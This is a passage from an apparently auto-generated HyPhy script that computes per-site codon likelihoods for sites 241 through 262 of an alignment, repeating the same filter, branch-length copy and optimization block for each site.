sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 241...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"720,721,722\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 241\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"241\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 242...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"723,724,725\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 242\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"242\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 243...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"726,727,728\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 243\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"243\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 244...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"729,730,731\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 244\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"244\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 245...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"732,733,734\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 245\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"245\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 246...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"735,736,737\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 246\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"246\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 247...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"738,739,740\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 247\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"247\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 248...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"741,742,743\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 248\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"248\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 249...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"744,745,746\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 249\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"249\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 250...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"747,748,749\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 250\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"250\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 251...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"750,751,752\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 251\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"251\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 252...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"753,754,755\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 252\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"252\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 253...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"756,757,758\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 253\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"253\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 254...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"759,760,761\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 254\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"254\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 255...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"762,763,764\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 255\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"255\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 256...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"765,766,767\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 256\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"256\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 257...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"768,769,770\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 257\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"257\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 258...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"771,772,773\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 258\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"258\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 259...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"774,775,776\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 259\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"259\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 260...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"777,778,779\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 260\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"260\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 261...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"780,781,782\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 261\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"261\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 262...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"783,784,785\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 262\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips 